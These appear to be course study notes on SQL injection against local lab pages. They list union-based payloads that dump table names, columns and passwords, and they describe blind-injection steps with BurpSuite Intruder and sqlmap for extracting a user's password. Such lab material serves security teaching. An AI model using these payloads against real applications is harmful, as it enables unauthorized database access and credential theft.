Web App - SQL Injection

โžก๏ธ A SQL injection attack consist of an injection of a (malicious) SQL query via the user input from the client to the application, allowing attackers to read, modify, or delete database data, execute administrative operations, access files, or issue OS commands.


SQL injection - UNION

# Basic SQLi

# Try some Username inputs like
jeremy
jeremy'
jeremy"
jeremy j
# special characters can break the SQL query

jeremy' or 1=1#
jeremy' or 1=1-- -
# 1=1 statement is always true -> the result is always true
# anything after #, -- -, etc, will be ignored

# UNION
jeremy' union select null#
jeremy' union select null,null,null#
jeremy' union select null,null,version()#
jeremy' union select null,null,table_name from information_schema.tables#
jeremy' union select null,null,column_name from information_schema.columns#

jeremy' union select null,null,password from injection0x01#

SQL injection - Blind

  • Run BurpSuite, set http://localhost/ as project (target) Scope and login as jeremy:jeremy at http://localhost/labs/i0x02.php

  • Check the Request and Response in the BurpSuite HTTP history

  • Set-Cookie: session=... - important session token

    • The followed GET requests had the Cookie: session=... header set - login ok

  • Content-Length: 1027 - may be necessary

  • Test for injections by sending to Repeater the POST request and modify it

  • Try to automate the process with sqlmap

โžก๏ธ sqlmap - automatic SQL injection and database takeover tool

  • Copy the Request into a new file

sqlmap -r req.txt
  • Send the GET request with the Cookie to the repeater

๐Ÿ“Œ Modifying or manipulating the session cookie by injecting SQL and receiving the same successful response suggests the presence of SQL injection

  • Extract jessamy's password via Intruder

    • send the Request to Intruder

    • set the last letter a of the inject as Position

    • add all keyboard letters to the payload simple list

    • start attack

    • filter by length or status code

Intruder Sniper attack
  • Continue the attack with Intruder or proceed with sqlmap


SQL injection - Challenge

  • http://localhost/labs/i0x03.php

  • Find credentials and login into the users table

  • Test with sqlmap


Last updated

Was this helpful?